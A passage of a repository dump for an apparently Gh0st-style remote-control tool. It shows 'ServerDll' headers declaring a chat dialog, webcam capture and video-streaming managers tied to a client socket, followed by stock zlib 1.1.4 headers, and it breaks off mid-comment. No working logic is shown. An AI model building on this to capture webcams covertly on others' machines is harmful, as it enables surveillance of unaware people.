// Talk.h: interface for the Talk class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_TALK_H__590BF335_6097_4CA3_AD0B_DD1A418B5FED__INCLUDED_) 6 | #define AFX_TALK_H__590BF335_6097_4CA3_AD0B_DD1A418B5FED__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | 13 | #include "Manager.h" 14 | 15 | class Talk :public CManager 16 | { 17 | public: 18 | Talk::Talk(CClientSocket *pClient); 19 | virtual ~Talk(); 20 | 21 | 22 | static int CALLBACK DialogProc(HWND hDlg,unsigned int uMsg, 23 | WPARAM wParam,LPARAM lParam); 24 | 25 | 26 | static DWORD WINAPI CreateTalkDialog(LPVOID lparam); 27 | 28 | 29 | }; 30 | 31 | #endif // !defined(AFX_TALK_H__590BF335_6097_4CA3_AD0B_DD1A418B5FED__INCLUDED_) 32 | -------------------------------------------------------------------------------- /ServerDll/VideoCap.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/VideoCap.cpp -------------------------------------------------------------------------------- /ServerDll/VideoCap.h: -------------------------------------------------------------------------------- 1 | // VideoCap.h: interface for the CVideoCap class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | #if !defined(AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_) 5 | #define AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_ 6 | #include 7 | #include 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | class CVideoCap 13 | { 14 | public: 15 | HANDLE m_hCaptureEvent; 16 | LPBITMAPINFO m_lpbmi; 17 | static bool IsWebCam(); 18 | bool Initialize(int nWidth = 0, int nHeight = 0); 19 | LPBYTE GetDIB(); 20 | static LRESULT CALLBACK capErrorCallback(HWND hWnd, int nID, LPCSTR lpsz); 21 | static LRESULT CALLBACK FrameCallbackProc(HWND hWnd, LPVIDEOHDR lpVHdr); 22 | CVideoCap(); 23 | virtual ~CVideoCap(); 24 | private: 25 | LPBYTE m_lpDIB; 26 | HWND m_hWnd; 27 | HWND m_hWndCap; 28 | static bool m_bIsConnected; 29 | }; 30 | 31 | #endif // !defined(AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_) 32 | -------------------------------------------------------------------------------- /ServerDll/VideoCodec.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/VideoCodec.h -------------------------------------------------------------------------------- /ServerDll/VideoManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChengChengCC/Remote/aea00aa30c852b28c497298a83e90b1606241a86/ServerDll/VideoManager.cpp -------------------------------------------------------------------------------- /ServerDll/VideoManager.h: -------------------------------------------------------------------------------- 1 | // VideoManager.h: interface for the CVideoManager class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_VIDEOMANAGER_H__0938E9CF_6A79_4C5A_A83C_DC1158ED04C3__INCLUDED_) 6 | #define AFX_VIDEOMANAGER_H__0938E9CF_6A79_4C5A_A83C_DC1158ED04C3__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | #include "Manager.h" 13 | #include "VideoCap.h" 14 | #include "VideoCodec.h" 15 | #include "CaptureVideo.h" 16 | 17 | class CVideoManager : public CManager 18 | { 19 | public: 20 | CVideoManager(CClientSocket *pClient); 21 | virtual ~CVideoManager(); 22 | 23 | bool m_bIsWorking; 24 | 25 | bool CVideoManager::Initialize(); 26 | HANDLE m_hWorkThread; 27 | CVideoCodec *m_pVideoCodec; 28 | CVideoCap *m_pVideoCap; 29 | CCaptureVideo m_CapVideo; 30 | DWORD m_fccHandler; 31 | bool m_bIsCompress; 32 | static DWORD WINAPI WorkThread(LPVOID lparam); 33 | void CVideoManager::sendBITMAPINFO(); 34 | void CVideoManager::OnReceive(LPBYTE lpBuffer, UINT nSize); 35 | void CVideoManager::sendNextScreen(); 36 | void CVideoManager::Destroy(); 37 | }; 38 | 39 | #endif // !defined(AFX_VIDEOMANAGER_H__0938E9CF_6A79_4C5A_A83C_DC1158ED04C3__INCLUDED_) 40 | -------------------------------------------------------------------------------- /ServerDll/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Developer Studio generated include file. 3 | // Used by Script.rc 4 | // 5 | #define IDD_DIALOG 101 6 | 7 | 8 | // Next default values for new objects 9 | // 10 | #ifdef APSTUDIO_INVOKED 11 | #ifndef APSTUDIO_READONLY_SYMBOLS 12 | #define _APS_NEXT_RESOURCE_VALUE 102 13 | #define _APS_NEXT_COMMAND_VALUE 40001 14 | #define _APS_NEXT_CONTROL_VALUE 1001 15 | #define _APS_NEXT_SYMED_VALUE 101 16 | #endif 17 | #endif 18 | -------------------------------------------------------------------------------- /ServerDll/zconf.h: -------------------------------------------------------------------------------- 1 | /* zconf.h -- configuration of the zlib compression library 2 | * Copyright (C) 1995-2002 Jean-loup Gailly. 3 | * For conditions of distribution and use, see copyright notice in zlib.h 4 | */ 5 | 6 | /* @(#) $Id$ */ 7 | 8 | #ifndef _ZCONF_H 9 | #define _ZCONF_H 10 | 11 | /* 12 | * If you *really* need a unique prefix for all types and library functions, 13 | * compile with -DZ_PREFIX. The "standard" zlib should be compiled without it. 14 | */ 15 | #ifdef Z_PREFIX 16 | # define deflateInit_ z_deflateInit_ 17 | # define deflate z_deflate 18 | # define deflateEnd z_deflateEnd 19 | # define inflateInit_ z_inflateInit_ 20 | # define inflate z_inflate 21 | # define inflateEnd z_inflateEnd 22 | # define deflateInit2_ z_deflateInit2_ 23 | # define deflateSetDictionary z_deflateSetDictionary 24 | # define deflateCopy z_deflateCopy 25 | # define deflateReset z_deflateReset 26 | # define deflateParams z_deflateParams 27 | # define inflateInit2_ z_inflateInit2_ 28 | # define inflateSetDictionary z_inflateSetDictionary 29 | # define inflateSync z_inflateSync 30 | # define inflateSyncPoint z_inflateSyncPoint 31 | # define inflateReset z_inflateReset 32 | # define compress z_compress 33 | # define compress2 z_compress2 34 | # define uncompress z_uncompress 35 | # define adler32 z_adler32 36 | # define crc32 z_crc32 37 | # define get_crc_table z_get_crc_table 38 | 39 | # define Byte z_Byte 40 | # define uInt z_uInt 41 | # define uLong z_uLong 42 | # define Bytef z_Bytef 43 | # define charf z_charf 44 | # define intf z_intf 45 | # define uIntf z_uIntf 46 | # define uLongf z_uLongf 47 | # define voidpf z_voidpf 48 | # define voidp z_voidp 49 | #endif 50 | 51 | #if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32) 52 | # define WIN32 53 | #endif 54 | #if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386) 55 | # ifndef __32BIT__ 56 | # define __32BIT__ 57 | # endif 58 | #endif 59 | #if defined(__MSDOS__) && !defined(MSDOS) 60 | # define MSDOS 61 | #endif 62 | 63 | /* 64 | * Compile with -DMAXSEG_64K if the alloc function cannot allocate more 65 | * than 64k bytes at a time (needed on systems with 16-bit int). 66 | */ 67 | #if defined(MSDOS) && !defined(__32BIT__) 68 | # define MAXSEG_64K 69 | #endif 70 | #ifdef MSDOS 71 | # define UNALIGNED_OK 72 | #endif 73 | 74 | #if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32)) && !defined(STDC) 75 | # define STDC 76 | #endif 77 | #if defined(__STDC__) || defined(__cplusplus) || defined(__OS2__) 78 | # ifndef STDC 79 | # define STDC 80 | # endif 81 | #endif 82 | 83 | #ifndef STDC 84 | # ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */ 85 | # define const 86 | # endif 87 | #endif 88 | 89 | /* Some Mac compilers merge all .h files incorrectly: */ 90 | #if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__) 91 | # define NO_DUMMY_DECL 92 | #endif 93 | 94 | /* Old Borland C incorrectly complains about missing returns: */ 95 | #if defined(__BORLANDC__) && (__BORLANDC__ < 0x500) 96 | # define NEED_DUMMY_RETURN 97 | #endif 98 | 99 | 100 | /* Maximum value for memLevel in deflateInit2 */ 101 | #ifndef MAX_MEM_LEVEL 102 | # ifdef MAXSEG_64K 103 | # define MAX_MEM_LEVEL 8 104 | # else 105 | # define MAX_MEM_LEVEL 9 106 | # endif 107 | #endif 108 | 109 | /* Maximum value for windowBits in deflateInit2 and inflateInit2. 110 | * WARNING: reducing MAX_WBITS makes minigzip unable to extract .gz files 111 | * created by gzip. (Files created by minigzip can still be extracted by 112 | * gzip.) 113 | */ 114 | #ifndef MAX_WBITS 115 | # define MAX_WBITS 15 /* 32K LZ77 window */ 116 | #endif 117 | 118 | /* The memory requirements for deflate are (in bytes): 119 | (1 << (windowBits+2)) + (1 << (memLevel+9)) 120 | that is: 128K for windowBits=15 + 128K for memLevel = 8 (default values) 121 | plus a few kilobytes for small objects. For example, if you want to reduce 122 | the default memory requirements from 256K to 128K, compile with 123 | make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7" 124 | Of course this will generally degrade compression (there's no free lunch). 125 | 126 | The memory requirements for inflate are (in bytes) 1 << windowBits 127 | that is, 32K for windowBits=15 (default value) plus a few kilobytes 128 | for small objects. 129 | */ 130 | 131 | /* Type declarations */ 132 | 133 | #ifndef OF /* function prototypes */ 134 | # ifdef STDC 135 | # define OF(args) args 136 | # else 137 | # define OF(args) () 138 | # endif 139 | #endif 140 | 141 | /* The following definitions for FAR are needed only for MSDOS mixed 142 | * model programming (small or medium model with some far allocations). 143 | * This was tested only with MSC; for other MSDOS compilers you may have 144 | * to define NO_MEMCPY in zutil.h. If you don't need the mixed model, 145 | * just define FAR to be empty. 146 | */ 147 | #if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__) 148 | /* MSC small or medium model */ 149 | # define SMALL_MEDIUM 150 | # ifdef _MSC_VER 151 | # define FAR _far 152 | # else 153 | # define FAR far 154 | # endif 155 | #endif 156 | #if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__)) 157 | # ifndef __32BIT__ 158 | # define SMALL_MEDIUM 159 | # define FAR _far 160 | # endif 161 | #endif 162 | 163 | /* Compile with -DZLIB_DLL for Windows DLL support */ 164 | #if defined(ZLIB_DLL) 165 | # if defined(_WINDOWS) || defined(WINDOWS) 166 | # ifdef FAR 167 | # undef FAR 168 | # endif 169 | # include 170 | # define ZEXPORT WINAPI 171 | # ifdef WIN32 172 | # define ZEXPORTVA WINAPIV 173 | # else 174 | # define ZEXPORTVA FAR _cdecl _export 175 | # endif 176 | # endif 177 | # if defined (__BORLANDC__) 178 | # if (__BORLANDC__ >= 0x0500) && defined (WIN32) 179 | # include 180 | # define ZEXPORT __declspec(dllexport) WINAPI 181 | # define ZEXPORTRVA __declspec(dllexport) WINAPIV 182 | # else 183 | # if defined (_Windows) && defined (__DLL__) 184 | # define ZEXPORT _export 185 | # define ZEXPORTVA _export 186 | # endif 187 | # endif 188 | # endif 189 | #endif 190 | 191 | #if defined (__BEOS__) 192 | # if defined (ZLIB_DLL) 193 | # define ZEXTERN extern __declspec(dllexport) 194 | # else 195 | # define ZEXTERN extern __declspec(dllimport) 196 | # endif 197 | #endif 198 | 199 | #ifndef ZEXPORT 200 | # define ZEXPORT 201 | #endif 202 | #ifndef ZEXPORTVA 203 | # define ZEXPORTVA 204 | #endif 205 | #ifndef ZEXTERN 206 | # define ZEXTERN extern 207 | #endif 208 | 209 | #ifndef FAR 210 | # define FAR 211 | #endif 212 | 213 | #if !defined(MACOS) && !defined(TARGET_OS_MAC) 214 | typedef unsigned char Byte; /* 8 bits */ 215 | #endif 216 | typedef unsigned int uInt; /* 16 bits or more */ 217 | typedef unsigned long uLong; /* 32 bits or more */ 218 | 219 | #ifdef SMALL_MEDIUM 220 | /* Borland C/C++ and some old MSC versions ignore FAR inside typedef */ 221 | # define Bytef Byte FAR 222 | #else 223 | typedef Byte FAR Bytef; 224 | #endif 225 | typedef char FAR charf; 226 | typedef int FAR intf; 227 | typedef uInt FAR uIntf; 228 | typedef uLong FAR uLongf; 229 | 230 | #ifdef STDC 231 | typedef void FAR *voidpf; 232 | typedef void *voidp; 233 | #else 234 | typedef Byte FAR *voidpf; 235 | typedef Byte *voidp; 236 | #endif 237 | 238 | #ifdef HAVE_UNISTD_H 239 | # include /* for off_t */ 240 | # include /* for SEEK_* and off_t */ 241 | # define z_off_t off_t 242 | #endif 243 | #ifndef SEEK_SET 244 | # define SEEK_SET 0 /* Seek from beginning of file. */ 245 | # define SEEK_CUR 1 /* Seek from current position. */ 246 | # define SEEK_END 2 /* Set file pointer to EOF plus "offset" */ 247 | #endif 248 | #ifndef z_off_t 249 | # define z_off_t long 250 | #endif 251 | 252 | /* MVS linker does not support external names larger than 8 bytes */ 253 | #if defined(__MVS__) 254 | # pragma map(deflateInit_,"DEIN") 255 | # pragma map(deflateInit2_,"DEIN2") 256 | # pragma map(deflateEnd,"DEEND") 257 | # pragma map(inflateInit_,"ININ") 258 | # pragma map(inflateInit2_,"ININ2") 259 | # pragma map(inflateEnd,"INEND") 260 | # pragma map(inflateSync,"INSY") 261 | # pragma map(inflateSetDictionary,"INSEDI") 262 | # pragma map(inflate_blocks,"INBL") 263 | # pragma map(inflate_blocks_new,"INBLNE") 264 | # pragma map(inflate_blocks_free,"INBLFR") 265 | # pragma map(inflate_blocks_reset,"INBLRE") 266 | # pragma map(inflate_codes_free,"INCOFR") 267 | # pragma map(inflate_codes,"INCO") 268 | # pragma map(inflate_fast,"INFA") 269 | # pragma map(inflate_flush,"INFLU") 270 | # pragma map(inflate_mask,"INMA") 271 | # pragma map(inflate_set_dictionary,"INSEDI2") 272 | # pragma map(inflate_copyright,"INCOPY") 273 | # pragma map(inflate_trees_bits,"INTRBI") 274 | # pragma map(inflate_trees_dynamic,"INTRDY") 275 | # pragma map(inflate_trees_fixed,"INTRFI") 276 | # pragma map(inflate_trees_free,"INTRFR") 277 | #endif 278 | 279 | #endif /* _ZCONF_H */ 280 | -------------------------------------------------------------------------------- /ServerDll/zlib.h: -------------------------------------------------------------------------------- 1 | /* zlib.h -- interface of the 'zlib' general purpose compression library 2 | version 1.1.4, March 11th, 2002 3 | 4 | Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler 5 | 6 | This software is provided 'as-is', without any express or implied 7 | warranty. In no event will the authors be held liable for any damages 8 | arising from the use of this software. 9 | 10 | Permission is granted to anyone to use this software for any purpose, 11 | including commercial applications, and to alter it and redistribute it 12 | freely, subject to the following restrictions: 13 | 14 | 1. The origin of this software must not be misrepresented; you must not 15 | claim that you wrote the original software. If you use this software 16 | in a product, an acknowledgment in the product documentation would be 17 | appreciated but is not required. 18 | 2. Altered source versions must be plainly marked as such, and must not be 19 | misrepresented as being the original software. 20 | 3. This notice may not be removed or altered from any source distribution. 21 | 22 | Jean-loup Gailly Mark Adler 23 | jloup@gzip.org madler@alumni.caltech.edu 24 | 25 | 26 | The data format used by the zlib library is described by RFCs (Request for 27 | Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt 28 | (zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format). 29 | */ 30 | 31 | #ifndef _ZLIB_H 32 | #define _ZLIB_H 33 | 34 | #include "zconf.h" 35 | 36 | #ifdef __cplusplus 37 | extern "C" { 38 | #endif 39 | 40 | #define ZLIB_VERSION "1.1.4" 41 | 42 | /* 43 | The 'zlib' compression library provides in-memory compression and 44 | decompression functions, including integrity checks of the uncompressed 45 | data. This version of the library supports only one compression method 46 | (deflation) but other algorithms will be added later and will have the same 47 | stream interface. 48 | 49 | Compression can be done in a single step if the buffers are large 50 | enough (for example if an input file is mmap'ed), or can be done by 51 | repeated calls of the compression function. In the latter case, the 52 | application must provide more input and/or consume the output 53 | (providing more output space) before each call. 54 | 55 | The library also supports reading and writing files in gzip (.gz) format 56 | with an interface similar to that of stdio. 57 | 58 | The library does not install any signal handler. The decoder checks 59 | the consistency of the compressed data, so the library should never 60 | crash even in case of corrupted input. 61 | */ 62 | 63 | typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size)); 64 | typedef void (*free_func) OF((voidpf opaque, voidpf address)); 65 | 66 | struct internal_state; 67 | 68 | typedef struct z_stream_s { 69 | Bytef *next_in; /* next input byte */ 70 | uInt avail_in; /* number of bytes available at next_in */ 71 | uLong total_in; /* total nb of input bytes read so far */ 72 | 73 | Bytef *next_out; /* next output byte should be put there */ 74 | uInt avail_out; /* remaining free space at next_out */ 75 | uLong total_out; /* total nb of bytes output so far */ 76 | 77 | char *msg; /* last error message, NULL if no error */ 78 | struct internal_state FAR *state; /* not visible by applications */ 79 | 80 | alloc_func zalloc; /* used to allocate the internal state */ 81 | free_func zfree; /* used to free the internal state */ 82 | voidpf opaque; /* private data object passed to zalloc and zfree */ 83 | 84 | int data_type; /* best guess about the data type: ascii or binary */ 85 | uLong adler; /* adler32 value of the uncompressed data */ 86 | uLong reserved; /* reserved for future use */ 87 | } z_stream; 88 | 89 | typedef z_stream FAR *z_streamp; 90 | 91 | /* 92 | The application must update next_in and avail_in when avail_in has 93 | dropped to zero. It must update next_out and avail_out when avail_out 94 | has dropped to zero. The application must initialize zalloc, zfree and 95 | opaque before calling the init function. All other fields are set by the 96 | compression library and must not be updated by the application. 97 | 98 | The opaque value provided by the application will be passed as the first 99 | parameter for calls of zalloc and zfree. This can be useful for custom 100 | memory management. The compression library attaches no meaning to the 101 | opaque value. 102 | 103 | zalloc must return Z_NULL if there is not enough memory for the object. 104 | If zlib is used in a multi-threaded application, zalloc and zfree must be 105 | thread safe. 106 | 107 | On 16-bit systems, the functions zalloc and zfree must be able to allocate 108 | exactly 65536 bytes, but will not be required to allocate more than this 109 | if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS, 110 | pointers returned by zalloc for objects of exactly 65536 bytes *must* 111 | have their offset normalized to zero. The default allocation function 112 | provided by this library ensures this (see zutil.c). To reduce memory 113 | requirements and avoid any allocation of 64K objects, at the expense of 114 | compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h). 115 | 116 | The fields total_in and total_out can be used for statistics or 117 | progress reports. After compression, total_in holds the total size of 118 | the uncompressed data and may be saved for use in the decompressor 119 | (particularly if the decompressor wants to decompress everything in 120 | a single step). 121 | */ 122 | 123 | /* constants */ 124 | 125 | #define Z_NO_FLUSH 0 126 | #define Z_PARTIAL_FLUSH 1 /* will be removed, use Z_SYNC_FLUSH instead */ 127 | #define Z_SYNC_FLUSH 2 128 | #define Z_FULL_FLUSH 3 129 | #define Z_FINISH 4 130 | /* Allowed flush values; see deflate() below for details */ 131 | 132 | #define Z_OK 0 133 | #define Z_STREAM_END 1 134 | #define Z_NEED_DICT 2 135 | #define Z_ERRNO (-1) 136 | #define Z_STREAM_ERROR (-2) 137 | #define Z_DATA_ERROR (-3) 138 | #define Z_MEM_ERROR (-4) 139 | #define Z_BUF_ERROR (-5) 140 | #define Z_VERSION_ERROR (-6) 141 | /* Return codes for the compression/decompression functions. Negative 142 | * values are errors, positive values are used for special but normal events. 143 | */ 144 | 145 | 146 | #define Z_NO_COMPRESSION 0 147 | #define Z_BEST_SPEED 1 148 | #define Z_BEST_COMPRESSION 9 149 | #define Z_DEFAULT_COMPRESSION (-1) 150 | /* compression levels */ 151 | 152 | #define Z_FILTERED 1 153 | #define Z_HUFFMAN_ONLY 2 154 | #define Z_DEFAULT_STRATEGY 0 155 | /* compression strategy; see deflateInit2() below for details */ 156 | 157 | #define Z_BINARY 0 158 | #define Z_ASCII 1 159 | #define Z_UNKNOWN 2 160 | /* Possible values of the data_type field */ 161 | 162 | #define Z_DEFLATED 8 163 | /* The deflate compression method (the only one supported in this version) */ 164 | 165 | #define Z_NULL 0 /* for initializing zalloc, zfree, opaque */ 166 | 167 | #define zlib_version zlibVersion() 168 | /* for compatibility with versions < 1.0.2 */ 169 | 170 | /* basic functions */ 171 | 172 | ZEXTERN const char * ZEXPORT zlibVersion OF((void)); 173 | /* The application can compare zlibVersion and ZLIB_VERSION for consistency. 174 | If the first character differs, the library code actually used is 175 | not compatible with the zlib.h header file used by the application. 176 | This check is automatically made by deflateInit and inflateInit. 177 | */ 178 | 179 | /* 180 | ZEXTERN int ZEXPORT deflateInit OF((z_streamp strm, int level)); 181 | 182 | Initializes the internal stream state for compression. The fields 183 | zalloc, zfree and opaque must be initialized before by the caller. 184 | If zalloc and zfree are set to Z_NULL, deflateInit updates them to 185 | use default allocation functions. 186 | 187 | The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9: 188 | 1 gives best speed, 9 gives best compression, 0 gives no compression at 189 | all (the input data is simply copied a block at a time). 190 | Z_DEFAULT_COMPRESSION requests a default compromise between speed and 191 | compression (currently equivalent to level 6). 192 | 193 | deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not 194 | enough memory, Z_STREAM_ERROR if level is not a valid compression level, 195 | Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible 196 | with the version assumed by the caller (ZLIB_VERSION). 197 | msg is set to null if there is no error message. deflateInit does not 198 | perform any compression: this will be done by deflate(). 199 | */ 200 | 201 | 202 | ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush)); 203 | /* 204 | deflate compresses as much data as possible, and stops when the input 205 | buffer becomes empty or the output buffer becomes full. It may introduce some 206 | output latency (reading input without producing any output) except when 207 | forced to flush. 208 | 209 | The detailed semantics are as follows. deflate performs one or both of the 210 | following actions: 211 | 212 | - Compress more input starting at next_in and update next_in and avail_in 213 | accordingly. If not all input can be processed (because there is not 214 | enough room in the output buffer), next_in and avail_in are updated and 215 | processing will resume at this point for the next call of deflate(). 216 | 217 | - Provide more output starting at next_out and update next_out and avail_out 218 | accordingly. This action is forced if the parameter flush is non zero. 219 | Forcing flush frequently degrades the compression ratio, so this parameter 220 | should be set only when necessary (in interactive applications). 221 | Some output may be provided even if flush is not set. 222 | 223 | Before the call of deflate(), the application should ensure that at least 224 | one of the actions is possible, by providing more input and/or consuming 225 | more output, and updating avail_in or avail_out accordingly; avail_out 226 | should never be zero before the call. The application can consume the 227 | compressed output when it wants, for example when the output buffer is full 228 | (avail_out == 0), or after each call of deflate(). If deflate returns Z_OK 229 | and with zero avail_out, it must be called again after making room in the 230 | output buffer because there might be more output pending. 231 | 232 | If the parameter flush is set to Z_SYNC_FLUSH, all pending output is 233 | flushed to the output buffer and the output is aligned on a byte boundary, so 234 | that the decompressor can get all input data available so far. (In particular 235 | avail_in is zero after the call if enough output space has been provided 236 | before the call.) Flushing may degrade compression for some compression 237 | algorithms and so it should be used only when necessary. 238 | 239 | If flush is set to Z_FULL_FLUSH, all output is flushed as with 240 | Z_SYNC_FLUSH, and the compression state is reset so that decompression can 241 | restart from this point if previous compressed data has been damaged or if 242 | random access is desired. Using Z_FULL_FLUSH too often can seriously degrade 243 | the compression. 244 | 245 | If deflate returns with avail_out == 0, this function must be called again 246 | with the same value of the flush parameter and more output space (updated 247 | avail_out), until the flush is complete (deflate returns with non-zero 248 | avail_out). 249 | 250 | If the parameter flush is set to Z_FINISH, pending input is processed, 251 | pending output is flushed and deflate returns with Z_STREAM_END if there 252 | was enough output space; if deflate returns with Z_OK, this function must be 253 | called again with Z_FINISH and more output space (updated avail_out) but no 254 | more input data, until it returns with Z_STREAM_END or an error. After 255 | deflate has returned Z_STREAM_END, the only possible operations on the 256 | stream are deflateReset or deflateEnd. 257 | 258 | Z_FINISH can be used immediately after deflateInit if all the compression 259 | is to be done in a single step. In this case, avail_out must be at least 260 | 0.1% larger than avail_in plus 12 bytes. If deflate does not return 261 | Z_STREAM_END, then it must be called again as described above. 262 | 263 | deflate() sets strm->adler to the adler32 checksum of all input read 264 | so far (that is, total_in bytes). 265 | 266 | deflate() may update data_type if it can make a good guess about 267 | the input data type (Z_ASCII or Z_BINARY). In doubt, the data is considered 268 | binary. This field is only for information purposes and does not affect 269 | the compression algorithm in any manner. 270 | 271 | deflate() returns Z_OK if some progress has been made (more input 272 | processed or more output produced), Z_STREAM_END if all input has been 273 | consumed and all output has been produced (only when flush is set to 274 | Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example 275 | if next_in or next_out was NULL), Z_BUF_ERROR if no progress is possible 276 | (for example avail_in or avail_out was zero). 277 | */ 278 | 279 | 280 | ZEXTERN int ZEXPORT deflateEnd OF((z_streamp strm)); 281 | /* 282 | All dynamically allocated data structures for this stream are freed. 283 | This function discards any unprocessed input and does not flush any 284 | pending output. 285 | 286 | deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the 287 | stream state was inconsistent, Z_DATA_ERROR if the stream was freed 288 | prematurely (some input or output was discarded). In the error case, 289 | msg may be set but then points to a static string (which must not be 290 | deallocated). 291 | */ 292 | 293 | 294 | /* 295 | ZEXTERN int ZEXPORT inflateInit OF((z_streamp strm)); 296 | 297 | Initializes the internal stream state for decompression. The fields 298 | next_in, avail_in, zalloc, zfree and opaque must be initialized before by 299 | the caller. If next_in is not Z_NULL and avail_in is large enough (the exact 300 | value depends on the compression method), inflateInit determines the 301 | compression method from the zlib header and allocates all data structures 302 | accordingly; otherwise the allocation will be deferred to the first call of 303 | inflate. If zalloc and zfree are set to Z_NULL, inflateInit updates them to 304 | use default allocation functions. 305 | 306 | inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough 307 | memory, Z_VERSION_ERROR if the zlib library version is incompatible with the 308 | version assumed by the caller. msg is set to null if there is no error 309 | message. inflateInit does not perform any decompression apart from reading 310 | the zlib header if present: this will be done by inflate(). (So next_in and 311 | avail_in may be modified, but next_out and avail_out are unchanged.) 312 | */ 313 | 314 | 315 | ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush)); 316 | /* 317 | inflate decompresses as much data as possible, and stops when the input 318 | buffer becomes empty or the output buffer becomes full. It may some 319 | introduce some output latency (reading input without producing any output) 320 | except when forced to flush. 321 | 322 | The detailed semantics are as follows. inflate performs one or both of the 323 | following actions: 324 | 325 | - Decompress more input starting at next_in and update next_in and avail_in 326 | accordingly. If not all input can be processed (because there is not 327 | enough room in the output buffer), next_in is updated and processing 328 | will resume at this point for the next call of inflate(). 329 | 330 | - Provide more output starting at next_out and update next_out and avail_out 331 | accordingly. inflate() provides as much output as possible, until there 332 | is no more input data or no more space in the output buffer (see below 333 | about the flush parameter). 334 | 335 | Before the call of inflate(), the application should ensure that at least 336 | one of the actions is possible, by providing more input and/or consuming 337 | more output, and updating the next_* and avail_* values accordingly. 338 | The application can consume the uncompressed output when it wants, for 339 | example when the output buffer is full (avail_out == 0), or after each 340 | call of inflate(). If inflate returns Z_OK and with zero avail_out, it 341 | must be called again after making room in the output buffer because there 342 | might be more output pending. 343 | 344 | If the parameter flush is set to Z_SYNC_FLUSH, inflate flushes as much 345 | output as possible to the output buffer. The flushing behavior of inflate is 346 | not specified for values of the flush parameter other than Z_SYNC_FLUSH 347 | and Z_FINISH, but the current implementation actually flushes as much output 348 | as possible anyway. 349 | 350 | inflate() should normally be called until it returns Z_STREAM_END or an 351 | error. However if all decompression is to be performed in a single step 352 | (a single call of inflate), the parameter flush should be set to 353 | Z_FINISH. In this case all pending input is processed and all pending 354 | output is flushed; avail_out must be large enough to hold all the 355 | uncompressed data. (The size of the uncompressed data may have been saved 356 | by the compressor for this purpose.) The next operation on this stream must 357 | be inflateEnd to deallocate the decompression state. The use of Z_FINISH 358 | is never required, but can be used to inform inflate that a faster routine 359 | may be used for the single inflate() call. 360 | 361 | If a preset dictionary is needed at this point (see inflateSetDictionary 362 | below), inflate sets strm-adler to the adler32 checksum of the 363 | dictionary chosen by the compressor and returns Z_NEED_DICT; otherwise 364 | it sets strm->adler to the adler32 checksum of all output produced 365 | so far (that is, total_out bytes) and returns Z_OK, Z_STREAM_END or 366 | an error code as described below. At the end of the stream, inflate() 367 | checks that its computed adler32 checksum is equal to that saved by the 368 | compressor and returns Z_STREAM_END only if the checksum is correct. 369 | 370 | inflate() returns Z_OK if some progress has been made (more input processed 371 | or more output produced), Z_STREAM_END if the end of the compressed data has 372 | been reached and all uncompressed output has been produced, Z_NEED_DICT if a 373 | preset dictionary is needed at this point, Z_DATA_ERROR if the input data was 374 | corrupted (input stream not conforming to the zlib format or incorrect 375 | adler32 checksum), Z_STREAM_ERROR if the stream structure was inconsistent 376 | (for example if next_in or next_out was NULL), Z_MEM_ERROR if there was not 377 | enough memory, Z_BUF_ERROR if no progress is possible or if there was not 378 | enough room in the output buffer when Z_FINISH is used. In the Z_DATA_ERROR 379 | case, the application may then call inflateSync to look for a good 380 | compression block. 381 | */ 382 | 383 | 384 | ZEXTERN int ZEXPORT inflateEnd OF((z_streamp strm)); 385 | /* 386 | All dynamically allocated data structures for this stream are freed. 387 | This function discards any unprocessed input and does not flush any 388 | pending output. 389 | 390 | inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state 391 | was inconsistent. In the error case, msg may be set but then points to a 392 | static string (which must not be deallocated). 393 | */ 394 | 395 | /* Advanced functions */ 396 | 397 | /* 398 | The following functions are needed only in some special applications. 399 | */ 400 | 401 | /* 402 | ZEXTERN int ZEXPORT deflateInit2 OF((z_streamp strm, 403 | int level, 404 | int method, 405 | int windowBits, 406 | int memLevel, 407 | int strategy)); 408 | 409 | This is another version of deflateInit with more compression options. The 410 | fields next_in, zalloc, zfree and opaque must be initialized before by 411 | the caller. 412 | 413 | The method parameter is the compression method. It must be Z_DEFLATED in 414 | this version of the 